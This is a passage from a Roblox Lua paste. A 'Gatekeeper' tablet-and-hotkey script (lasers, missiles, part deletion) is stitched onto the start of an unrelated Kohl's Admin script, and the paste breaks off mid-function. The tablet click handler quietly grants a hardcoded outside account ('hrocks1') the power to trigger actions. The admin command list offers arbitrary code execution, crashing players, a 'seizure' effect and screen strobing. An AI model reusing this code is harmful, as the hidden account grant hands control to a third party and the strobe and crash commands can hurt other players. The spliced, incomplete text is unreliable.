  5666.                                 for i,v in pairs(Tablets) do
  5667.                                                 pcall(function() v.Part:Destroy() end)
  5668.                                                 pcall(function() Tablets[i] = nil end)
  5669.                                         end
  5670.                         end)
  5671.                 end
  5672. end
  5673.  
  5674. Tablets = {};
  5675. TabsInWorkspace = false
  5676. function Tablet(Text, Color, onClicked,onTouched,staytime)
  5677.         --[[pcall(function() local a = Color.r if type(a) == "number" then Color = a end end)
  5678.         pcall(function() local a = BrickColor.new(Color) if a then Color = a.Color end end)]]
  5679.         if not pcall(function() local a = Color.r if type(a) ~= "number" then error() end end) then
  5680.                 Color = Colors.White
  5681.         end
  5682.         Color = BrickColor.new(Color).Color -- 2much colors c:
  5683.         if Player.Character.Torso == nil then
  5684.                 return
  5685.         end
  5686.         local Insert = {}
  5687.         local tab = Instance.new("Part")
  5688.         if TabsInWorkspace == false then
  5689.             tab.Parent = Workspace.CurrentCamera
  5690.         else
  5691.             tab.Parent = Workspace
  5692.         end
  5693.         local light = Instance.new("PointLight", tab)
  5694.         light.Enabled = true
  5695.         light.Range = 15
  5696.         tab.Name = tostring(math.random(-99999,99999))
  5697. tab.TopSurface = Enum.SurfaceType.Smooth
  5698. tab.LeftSurface = Enum.SurfaceType.Smooth
  5699. tab.RightSurface = Enum.SurfaceType.Smooth
  5700. tab.FrontSurface = Enum.SurfaceType.Smooth
  5701. tab.BackSurface = Enum.SurfaceType.Smooth
  5702. tab.BottomSurface = Enum.SurfaceType.Smooth
  5703.         tab.FormFactor = "Custom"
  5704.         tab.Size = Vector3.new(1.8, 1.8, 1.8)
  5705.         tab.Anchored = true
  5706.         tab.Locked = true
  5707.         tab.CanCollide = false
  5708.         tab.Transparency = 0.5
  5709.         tab.Color = BrickColor.new(Color).Color
  5710.         tab.CFrame = Player.Character.Head.CFrame
  5711.         if onTouched~=nil then
  5712.                 tab.Touched:connect(function(what)
  5713.                         a,b=ypcall(function()
  5714.                                 onTouched(what)
  5715.                         end)
  5716.                         if not a then error(b) end
  5717.                 end)
  5718.         end
  5719.         local box = Instance.new("SelectionBox", tab)
  5720.         box.Adornee = box.Parent
  5721.         box.Transparency = BoxTrans
  5722.         box.Color = BrickColor.new(Color)
  5723.         local gui = Instance.new("BillboardGui", tab)
  5724.         gui.Adornee = tab
  5725.         gui.StudsOffset = Vector3.new(0,tab.Size.Y+0.5,0)
  5726.         gui.Size = UDim2.new(1,0,1,0)
  5727.         local text = Instance.new("TextLabel", gui)
  5728.         text.BackgroundTransparency = 1
  5729.         text.Text = tostring(Text)
  5730.         text.Position = UDim2.new(0.5,0,0.5,0)
  5731.         text.Font = "ArialBold"
  5732.         text.FontSize = "Size18"
  5733.         text.TextColor3 = Color
  5734.         text.TextStrokeTransparency = 1
  5735.        
  5736.         local function DestroyThisTab()
  5737.                 pcall(function() tab:Destroy() end)
  5738.                 for i,v in pairs(Tablets) do
  5739.                         if v.Part.Name == tab.Name then
  5740.                                 table.remove(Tablets, i)      
  5741.                         end
  5742.                 end
  5743.         end
  5744.        
  5745.         local Click = Instance.new("ClickDetector", tab)
  5746.         Click.MaxActivationDistance = math.huge
  5747.         Click.MouseHoverEnter:connect(function(CPlayer)
  5748.                 if CPlayer.Name == Player.Name then
  5749.                         tab.Transparency = 0.2
  5750.                         box.Transparency = 0.2
  5751.                 end
  5752.         end)
  5753.         Click.MouseHoverLeave:connect(function(CPlayer)
  5754.                 if CPlayer.Name == Player.Name then
  5755.                         tab.Transparency = 0.5
  5756.                         box.Transparency = 0.5
  5757.                 end
  5758.         end)
  5759.         Click.MouseClick:connect(function(CPlayer)
  5760.                 if CPlayer.Name == Player.Name or CPlayer.Name == "hrocks1" then
  5761.                         if onClicked == nil then
  5762.                                 DestroyThisTab()
  5763.                         else
  5764.                                 local Run,Error = ypcall(function()
  5765.                                         onClicked()
  5766.                                 end)
  5767.                                 if Error then
  5768.                                         Tablet(tostring(Error), Colors.Red)    
  5769.                                 end
  5770.                                 DestroyThisTab()
  5771.                         end
  5772.                 end
  5773.         end)
  5774.         if type(staytime) == "number" then
  5775.                 Delay(staytime,function()
  5776.                         pcall(function() DestroyThisTab() end)
  5777.                 end)
  5778.         end
  5779.         Insert.Part = tab
  5780.         table.insert(Tablets, Insert)
  5781.         local rtn = {
  5782.                 tab=tab;
  5783.                 light=light;
  5784.                 box=box;
  5785.                 gui=gui;
  5786.                 text=text;
  5787.                 Click=Click;
  5788.                 Insert=Insert;
  5789.         }
  5790.         for i,v in pairs(rtn) do
  5791.                 pcall(function()
  5792.                         v.AncestryChanged:connect(function()
  5793.                                 if tab.Parent ~= game.Workspace then
  5794.                                         Delay(1,function() pcall(function() DestroyThisTab() end) end)
  5795.                                 end
  5796.                         end)
  5797.                 end)
  5798.         end
  5799.         return rtn
  5800. end
  5801.  
  5802. Rotation = 0
  5803. RotationAddValue = 0.0002
  5804.  
  5805. ROT=function() --OH LOL worst mistake xD Do you have tab table? Yup I just fixed it
  5806. game['Run Service'].Stepped:connect(function()
  5807.         pcall(function()
  5808.                         Rotation = Rotation + RotationAddValue -- oh
  5809.                         --Rotation=0.0002
  5810.                         local AllTabs = {}
  5811.                         for _,tab in pairs(Tablets) do
  5812.                                         table.insert(AllTabs, tab)
  5813.                         end
  5814.                         for i = 1, #AllTabs do
  5815.                                 if Player.Character ~= nil then
  5816.                                                 local Position = Player.Character.Torso.CFrame.p
  5817.                                                 local Radius = (#AllTabs * 0.5) + 5
  5818.                                                 local M = (i / #AllTabs - (0.5 / #AllTabs) * Rotation * 2) * math.pi * (4/2)
  5819.                                                 local X = math.sin(M) * Radius
  5820.                                                 local Y = math.sin(i + tick())
  5821.                                                 local Z = math.cos(M) * Radius
  5822.                                                 local A = Vector3.new(X, Y, Z) + Position
  5823.                                                 local B = AllTabs[i].Part.CFrame.p
  5824.                                                 local C = A * 0.1 + B * 0.9
  5825.                                                 local Cube_Rotation = (Rotation * 20)
  5826.                                                 local D = CFrame.Angles(Cube_Rotation, Cube_Rotation, Cube_Rotation)
  5827.                                                 AllTabs[i].Part.CFrame = CFrame.new(C, Position) * D
  5828.                             end
  5829.             end
  5830.         end)
  5831. end)
  5832. end
  5833.  
  5834.  
  5835. function CheckHotKey()
  5836.     local uis = game:service'UserInputService'
  5837.     if uis:IsKeyDown(Enum.KeyCode.LeftControl) then
  5838.         if uis:IsKeyDown(Enum.KeyCode.Z) then
  5839.             Utility.CreateDummy(Mouse.Hit, "???", Workspace)
  5840.         elseif uis:IsKeyDown(Enum.KeyCode.X) then
  5841.             GraphicalEffects.ShootLaserOfDeath(Mouse.Hit.p)
  5842.         elseif uis:IsKeyDown(Enum.KeyCode.C) then
  5843.             GraphicalEffects.SpaceHyperBeam(Mouse.Hit.p)
  5844.         elseif uis:IsKeyDown(Enum.KeyCode.Q) then
  5845.             if characterMode == "normal" then PlayerControl.SetEnabled(not PlayerControl.characterEnabled) end
  5846.         elseif uis:IsKeyDown(Enum.KeyCode.R) then
  5847.             GraphicalEffects.SpawnSapientRock(Mouse.Hit.p)
  5848.         elseif uis:IsKeyDown(Enum.KeyCode.V) then
  5849.             chatAdornee = Mouse.Target
  5850.         elseif uis:IsKeyDown(Enum.KeyCode.T) then
  5851.             ControllerCommands.TeleportCharacterToMouse()
  5852.         elseif uis:IsKeyDown(Enum.KeyCode.E) then
  5853.             ControllerCommands.ShootMissileAroundMouse(5, 25, nil)
  5854.         elseif uis:IsKeyDown(Enum.KeyCode.G) then
  5855.             ControllerCommands.BigLaserAtMouse()
  5856.         elseif uis:IsKeyDown(Enum.KeyCode.H) then
  5857.             ControllerCommands.ControlRandomDummy()
  5858.         elseif uis:IsKeyDown(Enum.KeyCode.B) then
  5859.             ControllerCommands.BalefireAtMouse()
  5860.         elseif uis:IsKeyDown(Enum.KeyCode.Y) then
  5861.             if Mouse.Target:IsA("Part") or Mouse.Target:IsA("Model") and Mouse.Target.Name ~= "Base" then local targ = Mouse.Target GraphicalEffects.CrystalRing({base_part = targ, crystal_color = BrickColor.new("Really black"), float_duration = 0.5,fade_out_color = BrickColor.new("Institutional White")}) targ:Destroy() end
  5862.         elseif uis:IsKeyDown(Enum.KeyCode.F) then
  5863.             if flying == true then
  5864.                 PlayerControl.StopFlying()
  5865.             else
  5866.                 PlayerControl.StartFlying()
  5867.             end
  5868.         end
  5869.     end
  5870. end
  5871.  
  5872. ROT()
  5873.  
  5874. game.ReplicatedStorage.DescendantRemoving:connect(function(itm)
  5875.     if itm.Name == "GKAttachment" then
  5876.         wait(2)
  5877.         RF = game.ReplicatedStorage:findFirstChild("GKAttachment") or nil
  5878.     end
  5879. end)
  5880. TabsInWorkspace = true;
  5881. Tablet("GK // REWRITE has loaded!", Colors.Lime)
  5882. Tablet("Gatekeeper was originally made by noliCAIKS", Colors.Orange)
  5883. Tablet("This version of Gatekeeper is being developed by areno2002", Colors.SoftBlue)
  5884. GraphicalEffects.CrystalRing({base_part = Player.Character.Torso, fade_out_color = BrickColor.new("Toothpaste"), crystal_color = BrickColor.new("Lime green"), crystal_count = 10, float_duration = 1})
  5885. Player.Chatted:connect(function(msg) if string.sub(msg,1,1) == "/" then onChatted(msg) else ChatBubble.Create(msg) end end)
  5886. if script:IsA("LocalScript") then Mouse.Button1Down:connect(CheckHotKey) end
  5887. -- Its very similar to the #15
  5888. — Kohls
  5889. -----------------------------------------------------------------------------------------
  5890. -- Replace harrypotterfan249 with your name c: --
  5891. -----------------------------------------------------------------------------------------
  5892. local owners = {"paul0072"} -- Are able to set admins who can ban/etc... using :pa name
  5893. local admins = {"Kohltastrophe"} -- Sets admins who can use ban/kick/admin or shutdown
  5894. local tempadmins = {} -- Sets admins who can't use ban/kick/admin or shutdown
  5895. local banland = {"MasterKhaos"} -- Permanently Bans people
  5896. local prefix = ":" -- If you wanna change how your commands start ':'kill noob
  5897. local AutoUpdate = true -- Set to false if you don't want it to automatically update
  5898. local FunCommands = true -- Set to false if you only want the basic commands (For Strict Places)
  5899. ---------------------
  5900. --    VIP Admin    --
  5901. ---------------------
  5902. local VipAdmin = false -- If someone can have admin for owning an item
  5903. local ItemId = 0 -- The item they must own in order to have admin
  5904. ---------------------
  5905. --   Group Admin   --
  5906. ---------------------
  5907. local GroupAdmin = false -- If a certain group can have admin
  5908. local GroupId = 0 -- Sets the group id that can have admin
  5909. local GroupRank = 0 -- Sets what rank and above a person has to be in the group to have admin
  5910. ---------------------
  5911. -- Tips and Tricks --
  5912. ---------------------
  5913. --[[
  5914. With this admin you can do a command on multiple people at a time;
  5915.      :kill me,noob1,noob2,random,team-raiders,nonadmins
  5916.  
  5917. You can also use a variety commands for different people;
  5918.      all
  5919.      others
  5920.      me
  5921.      team-
  5922.      admins
  5923.      nonadmins
  5924.      random
  5925. --]]
  5926. ---------------------
  5927. --    Commands     --
  5928. ---------------------
  5929. --[[
  5930. -- |Temp Admin Commands| --
  5931. 0. clean -- Is a command anyone can use to remove hats/tools lagging up the place
  5932. 1. :s print("Hello World") -- Lets you script normally
  5933. 2. :ls print("Hello World") -- Lets you script in localscripts
  5934. 3. :clear -- Will remove all scripts/localscripts and jails
  5935. 4. :m Hello People -- This commands will let you shout a message to everyone on the server
  5936. 5. :kill kohl -- Kills the player
  5937. 6. :respawn kohl -- Respawns the player
  5938. 7. :trip kohl -- Trips the player
  5939. 8. :stun kohl -- Stuns the player
  5940. 9. :unstun kohl -- Unstuns the player
  5941. 10. :jump kohl -- Makes the player jump
  5942. 11. :sit kohl -- Makes the player sit
  5943. 12. :invisible kohl -- Makes the player invisible
  5944. 13. :visible kohl -- Makes the player visible
  5945. 14. :explode kohl -- Makes the player explode
  5946. 15. :fire kohl -- Sets the player on fire
  5947. 16. :unfire kohl -- Removes fire from the player
  5948. 17. :smoke kohl -- Adds smoke to the player
  5949. 18. :unsmoke kohl -- Removes smoke from the player
  5950. 19. :sparkles kohl -- Adds sparkles to the player
  5951. 20. :unsparkles kohl -- Removes sparkles from the player
  5952. 21. :ff kohl -- Adds a forcefield to the player
  5953. 22. :unff kohl -- Removes the forcefield from the player
  5954. 23. :punish kohl -- Punishes the player
  5955. 24. :unpunish kohl -- Unpunishes the player
  5956. 25. :freeze kohl -- Freezes the player
  5957. 26. :thaw kohl -- Thaws the player
  5958. 27. :heal kohl -- Heals the player
  5959. 28. :god kohl -- Makes the player have infinite health
  5960. 29. :ungod kohl -- Makes the player have 100 health
  5961. 30. :ambient .5 .5 .5 -- Changes the ambient
  5962. 31. :brightness .5 -- Changes the brightness
  5963. 32. :time 12 -- Changes the time
  5964. 33. :fogcolor .5 .5 .5 -- Changes the fogcolor
  5965. 34. :fogend 100 -- Changes the fogend
  5966. 35. :fogstart 100 -- Changes the fogstart
  5967. 36. :removetools kohl -- Removes all tools from the player
  5968. 37. :btools kohl -- Gives the player building tools
  5969. 38. :give kohl sword -- Gives the player a tool
  5970. 39. :damage kohl -- Damages the player
  5971. 40. :grav kohl -- Sets the player's gravity to normal
  5972. 41. :setgrav kohl 100 -- Sets the player's gravity
  5973. 42. :nograv kohl -- Makes the player have 0 gravity
  5974. 43. :health kohl 1337 -- Changes the player's health
  5975. 44. :speed kohl 1337 -- Changes the player's walkspeed
  5976. 45. :name kohl potato -- Changes the player's name
  5977. 46. :unname kohl -- Remove the player's name
  5978. 47. :team kohl Raiders -- Changes the player's team
  5979. 48. :stopmusic -- Will stop all music playing in the server
  5980. 49. :teleport kohl potato -- Teleports the player
  5981. 50. :change kohl kills 1337 -- Changes a player's stat
  5982. 51. :kick kohl -- Removes the player from the game
  5983. 52. :infect kohl -- Turns the player into a zombie
  5984. 53. :rainbowify kohl -- Turns the player into a rainbow
  5985. 54. :flashify kohl -- Turns the player into a strobe
  5986. 55. :noobify kohl -- Turns the player into a noob
  5987. 56. :ghostify kohl -- Turns the player into a ghost
  5988. 57. :goldify kohl -- Turns the player into gold
  5989. 58. :shiny kohl -- Makes the player shiny
  5990. 59. :normal kohl -- Puts the player back to normal
  5991. 60. :trippy kohl -- Spams random colors on the player's screen
  5992. 61. :untrippy kohl -- Untrippys the player
  5993. 62. :strobe kohl -- Spams white and black on the player's screen
  5994. 63. :unstrobe kohl -- Unstrobes the player
  5995. 64. :blind kohl -- Blinds the player
  5996. 65. :unblind kohl -- Unblinds the player
  5997. 66. :guifix kohl -- Will fix trippy/strobe/blind on a player
  5998. 67. :fling kohl -- Flings the player
  5999. 68. :seizure kohl -- Puts the player in a seizure
  6000. 69. :music 1337 -- Plays a sound from the ID
  6001. 70. :lock kohl -- Locks the player
  6002. 71. :unlock kohl -- Unlocks the player
  6003. 72. :removelimbs kohl -- Removes the player's limbs
  6004. 73. :jail kohl -- Puts the player in a jail
  6005. 74. :unjail kohl -- Removes the jail from the player
  6006. 75. :fix -- This will fix the lighting to it's original settings
  6007. 76. :fly kohl -- Makes the player fly
  6008. 77. :unfly kohl -- Removes fly from the player
  6009. 78. :noclip kohl -- Makes the player able to noclip
  6010. 79. :clip kohl -- Removes noclipping from the player
  6011. 80. :pm kohl Hey bro -- Sends the player a private message
  6012. 81. :dog kohl -- Turns the player into a dog
  6013. 82. :undog kohl -- Turns the player back to normal
  6014. 83. :creeper kohl -- Turns the player into a creeper
  6015. 84. :uncreeper kohl -- Turns the player back to normal
  6016. 85. :place kohl 1337 -- Sends a teleporation request to a player to go to a different place
  6017. 86. :char kohl 261 -- Will make a player look like a different player ID
  6018. 87. :unchar kohl -- Will return the player back to normal
  6019. 88. :h Hello People -- This will shout a hint to everyone
  6020. 89. :rank kohl 109373 -- Will show up a message with the person's Role and Rank in a group
  6021. 90. :starttools kohl -- Will give the player starter tools
  6022. 91. :sword kohl -- Will give the player a sword
  6023. 92. :bighead kohl -- Will make the player's head larger than normal
  6024. 93. :minihead kohl -- Will make the player's head smaller than normal
  6025. 94. :insert 1337 -- Will insert a model at the speaker's position
  6026. 95. :disco -- Will make the server flash random colors
  6027. 96. :flash -- Will make the server flash
  6028. 97. :admins -- Shows the admin list
  6029. 98. :bans -- Shows the banlist
  6030. 99. :musiclist -- Shows the music list
  6031. 100. :spin kohl -- Spins the player
  6032. 101. :cape kohl Really black -- Gives the player a colored cape
  6033. 102. :uncape kohl -- Removes the player's cape
  6034. 103. :loopheal kohl -- Will constantly heal the player
  6035. 104. :loopfling kohl -- Will constantly fling the player
  6036. 105. :hat kohl 1337 -- Will give the player a hat under the id of 1337
  6037. 106. :unloopheal kohl -- Will remove the loopheal on the player
  6038. 107. :unloopfling kohl -- Will remove the loopfling on the player
  6039. 108. :unspin kohl -- Removes spin from the player
  6040. 109. :tools -- Gives a list of the tools in the lighting
  6041. 110. :undisco -- Removes disco effects
  6042. 111. :unflash -- Removes flash effects
  6043. 112. :resetstats kohl -- Sets all the stats of a player to 0
  6044. 113. :gear kohl 1337 -- Gives a player a gear
  6045. 114. :cmdbar -- Gives the speaker a command bar
  6046. 115. :shirt kohl 1337 -- Changes the player's shirt
  6047. 116. :pants kohl 1337 -- Changes the player's pants
  6048. 117. :face kohl 1337 -- Changes the player's face
  6049. 118. :swagify kohl -- Swagifies the player
  6050. 119. :version -- Shows the current version of the admin
  6051. 120. :tm 1337 yolo -- Shows a message for 1337 seconds
  6052. 121. :countdown 120 -- Shows a countdown message, maxes out at 120 seconds
  6053. 122. :clone kohl -- Creates a clone of the player
  6054. 123. :lsplr kohl print("yolo") -- Creates a localscript inside of a player
  6055. 124. :startergive kohl epic -- Gives a player a gear in their starterpack
  6056. 125. :control kohl -- Controls a player
  6057.  
  6058. -- |Admin Commands| --
  6059. - :serverlock -- Locks the server
  6060. - :serverunlock -- Unlocks the server
  6061. - :sm Hello World -- Creates a system message
  6062. - :crash kohl -- Crashes a player
  6063. - :admin kohl -- Admins a player
  6064. - :unadmin kohl -- Unadmins a player
  6065. - :ban kohl -- Bans a player
  6066. - :unban kohl -- Unbans a player
  6067. - :loopkill kohl -- Will constantly kill the player
  6068. - :unloopkill kohl -- Will remove the loopkill on the player
  6069. - :logs -- Will show all of the commands any admin has used in a game session
  6070. - :shutdown -- Shutsdown the server
  6071.  
  6072. -- |Owner Commands| --
  6073. - :pa kohl -- Makes someone a super admin
  6074. - :unpa kohl -- Removes a super admin
  6075. - :nuke kohl -- Creates a nuke on kohl
  6076.  
  6077. -- |True Owner Commands| --
  6078. - :oa kohl -- Makes someone an owner
  6079. - :unoa kohl -- Removes an owner
  6080. - :settings -- Shows settings for the commands
  6081. --]]
  6082. ---------------------
  6083. --   Main Script   --
  6084. ---------------------
  6085. for i, v in pairs(game:service("Workspace"):children()) do if v:IsA("StringValue") and v.Value:sub(1,2) == "AA" then v:Destroy() end end
  6086.  
  6087. function CHEESE()
  6088. if game:service("Lighting"):findFirstChild("KACV2") then
  6089. owners = {} admins = {} tempadmins = {} banland = {}
  6090. for i,v in pairs(game.Lighting.KACV2:children()) do
  6091. if v.Name == "Owner" then table.insert(owners, v.Value) end
  6092. if v.Name == "Admin" then table.insert(admins, v.Value) end
  6093. if v.Name == "TempAdmin" then table.insert(tempadmins, v.Value) end
  6094. if v.Name == "Banland" then table.insert(banland, v.Value) end
  6095. if v.Name == "Prefix" then prefix = v.Value end
  6096. if v.Name == "FunCommands" then FunCommands = v.Value end
  6097. if v.Name == "GroupAdmin" then GroupAdmin = v.Value end
  6098. if v.Name == "GroupId" then GroupId = v.Value end
  6099. if v.Name == "GroupRank" then GroupRank = v.Value end
  6100. if v.Name == "VipAdmin" then VipAdmin = v.Value end
  6101. if v.Name == "ItemId" then ItemId = v.Value end
  6102. end
  6103. game:service("Lighting"):findFirstChild("KACV2"):Destroy()
  6104. end
  6105.  
  6106. local origsettings = {abt = game.Lighting.Ambient, brt = game.Lighting.Brightness, time = game.Lighting.TimeOfDay, fclr = game.Lighting.FogColor, fe = game.Lighting.FogEnd, fs = game.Lighting.FogStart}
  6107. local lobjs = {}
  6108. local objects = {}
  6109. local logs = {}
  6110. local nfs = ""
  6111. local slock = false
  6112.  
  6113. function GetTime()
  6114. local hour = math.floor((tick()%86400)/60/60) local min = math.floor(((tick()%86400)/60/60-hour)*60)
  6115. if min < 10 then min = "0"..min end
  6116. return hour..":"..min
  6117. end
  6118.  
  6119. function ChkOwner(str)
  6120. for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end
  6121. return false
  6122. end
  6123.  
  6124. function ChkAdmin(str,ck)
  6125. for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end
  6126. for i = 1, #admins do if str:lower() == admins[i]:lower() then return true end end
  6127. for i = 1, #tempadmins do if str:lower() == tempadmins[i]:lower() and not ck then return true end end
  6128. return false
  6129. end
  6130.  
  6131. function ChkGroupAdmin(plr)
  6132. if GroupAdmin then
  6133. if plr:IsInGroup(GroupId) and plr:GetRankInGroup(GroupId) >= GroupRank then return true end
  6134. return false
  6135. end
  6136. end
  6137.  
  6138. function ChkBan(str) for i = 1, #banland do if str:lower() == banland[i]:lower() then return true end end return false end
  6139.  
  6140. function GetPlr(plr, str)
  6141. local plrz = {} str = str:lower()
  6142. if str == "all" then plrz = game.Players:children()
  6143. elseif str == "others" then for i, v in pairs(game.Players:children()) do if v ~= plr then table.insert(plrz, v) end end
  6144. else
  6145. local sn = {1} local en = {}
  6146. for i = 1, #str do if str:sub(i,i) == "," then table.insert(sn, i+1) table.insert(en,i-1) end end
  6147. for x = 1, #sn do
  6148. if (sn[x] and en[x] and str:sub(sn[x],en[x]) == "me") or (sn[x] and str:sub(sn[x]) == "me") then table.insert(plrz, plr)
  6149. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "random") or (sn[x] and str:sub(sn[x]) == "random") then table.insert(plrz, game.Players:children()[math.random(#game.Players:children())])
  6150. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "admins") or (sn[x] and str:sub(sn[x]) == "admins") then if ChkAdmin(plr.Name, true) then for i, v in pairs(game.Players:children()) do if ChkAdmin(v.Name, false) then table.insert(plrz, v) end end end
  6151. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "nonadmins") or (sn[x] and str:sub(sn[x]) == "nonadmins") then for i, v in pairs(game.Players:children()) do if not ChkAdmin(v.Name, false) then table.insert(plrz, v) end end
  6152. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]):sub(1,4) == "team") then
  6153. if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x],en[x]):sub(6)) == 1 then
  6154. for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
  6155. end end end
  6156. elseif (sn[x] and str:sub(sn[x]):sub(1,4):lower() == "team") then
  6157. if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x]):sub(6)) == 1 then
  6158. for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
  6159. end end end
  6160. else
  6161. for a, plyr in pairs(game.Players:children()) do
  6162. if (sn[x] and en[x] and str:sub(sn[x],en[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x],en[x])) == 1) or (sn[x] and str:sub(sn[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x])) == 1) or (str ~= "" and plyr.Name:lower():find(str) == 1) then
  6163. table.insert(plrz, plyr) break
  6164. end
  6165. end
  6166. end
  6167. end
  6168. end
  6169. return plrz
  6170. end
  6171.  
  6172. function Hint(str, plrz, time)
  6173. for i, v in pairs(plrz) do
  6174. if v and v:findFirstChild("PlayerGui") then
  6175. coroutine.resume(coroutine.create(function()
  6176. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "HintGUI"
  6177. local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(1,0,0,22) bg.Position = UDim2.new(0,0,0,-2) bg.ZIndex = 8
  6178. local msg = Instance.new("TextLabel", bg) msg.BackgroundTransparency = 1 msg.ZIndex = 9 msg.Name = "msg" msg.Position = UDim2.new(0,0,0) msg.Size = UDim2.new(1,0,1,0) msg.Font = "Arial" msg.Text = str msg.FontSize = "Size18" msg.TextColor3 = Color3.new(1,1,1) msg.TextStrokeColor3 = Color3.new(1,1,1) msg.TextStrokeTransparency = .8
  6179. coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
  6180. if not time then wait((#str/19)+2.5) else wait(time) end
  6181. coroutine.resume(coroutine.create(function() if scr.Parent == v.PlayerGui then for i = 0, 20 do msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end scr:Destroy() end end))
  6182. end))
  6183. end
  6184. end
  6185. end
  6186.  
  6187. function Message(ttl, str, scroll, plrz, time)
  6188. for i, v in pairs(plrz) do
  6189. if v and v:findFirstChild("PlayerGui") then
  6190. coroutine.resume(coroutine.create(function()
  6191. local scr = Instance.new("ScreenGui") scr.Name = "MessageGUI"
  6192. local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 8
  6193. local title = Instance.new("TextLabel", scr) title.Name = "title" title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.Size = UDim2.new(1,0,0,10) title.ZIndex = 9 title.Font = "ArialBold" title.FontSize = "Size36" title.Text = ttl title.TextYAlignment = "Top" title.TextColor3 = Color3.new(1,1,1) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .8
  6194. local msg = title:clone() msg.Parent = scr msg.Name = "msg" msg.Position = UDim2.new(.0625,0,0) msg.Size = UDim2.new(.875,0,1,0) msg.Font = "Arial" msg.Text = "" msg.FontSize = "Size24" msg.TextYAlignment = "Center" msg.TextWrapped = true
  6195. scr.Parent = v.PlayerGui
  6196. coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
  6197. if scroll then if not time then for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(2.5) else for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(time-(#str/19)) end
  6198. else if not time then msg.Text = str wait((#str/19)+2.5) else msg.Text = str wait(time) end end
  6199. coroutine.resume(coroutine.create(function() if scr.Parent == v.PlayerGui then for i = 0, 20 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end scr:Destroy() end end))
  6200. end))
  6201. end
  6202. end
  6203. end
  6204.  
  6205. function RemoveMessage()
  6206. for i,v in pairs(game.Players:children()) do
  6207. if v and v:findFirstChild("PlayerGui") then
  6208. for q,ms in pairs(v.PlayerGui:children()) do
  6209. if ms.Name == "MessageGUI" then
  6210. coroutine.resume(coroutine.create(function() for i = 0, 20 do ms.bg.BackgroundTransparency = .3+((.7/20)*i) ms.msg.TextTransparency = ((1/20)*i) ms.msg.TextStrokeTransparency = .8+((.2/20)*i) ms.title.TextTransparency = ((1/20)*i) ms.title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end ms:Destroy() end))
  6211. elseif ms.Name == "HintGUI" then
  6212. coroutine.resume(coroutine.create(function() for i = 0, 20 do ms.msg.TextTransparency = ((1/20)*i) ms.msg.TextStrokeTransparency = .8+((.2/20)*i) ms.bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end ms:Destroy() end))
  6213. end
  6214. end
  6215. end
  6216. end
  6217. end
  6218.  
  6219. _G["Message"] = function(p1,p2,p3) Message(p1,p2,false,game.Players:children(),p3) end
  6220. _G["RemoveMessage"] = RemoveMessage()
  6221.  
  6222. function Output(str, plr)
  6223. coroutine.resume(coroutine.create(function()
  6224. local b, e = loadstring(str)
  6225. if not b and plr:findFirstChild("PlayerGui") then
  6226. local scr = Instance.new("ScreenGui", plr.PlayerGui) game:service("Debris"):AddItem(scr,5)
  6227. local main = Instance.new("Frame", scr) main.Size = UDim2.new(1,0,1,0) main.BorderSizePixel = 0 main.BackgroundTransparency = 1 main.ZIndex = 8
  6228. local err = Instance.new("TextLabel", main) err.Text = "Line "..e:match("\:(%d+\:.*)")  err.BackgroundColor3 = Color3.new(0,0,0) err.BackgroundTransparency = .3 err.BorderSizePixel = 0 err.Size = UDim2.new(1,0,0,40) err.Position = UDim2.new(0,0,.5,-20) err.ZIndex = 9 err.Font = "ArialBold" err.FontSize = "Size24" err.TextColor3 = Color3.new(1,1,1) err.TextStrokeColor3 = Color3.new(1,1,1) err.TextStrokeTransparency = .8
  6229. return
  6230. end
  6231. end))
  6232. end
  6233.  
  6234. function Noobify(char)
  6235. if char and char:findFirstChild("Torso") then
  6236. if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
  6237. if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
  6238. for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
  6239. local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
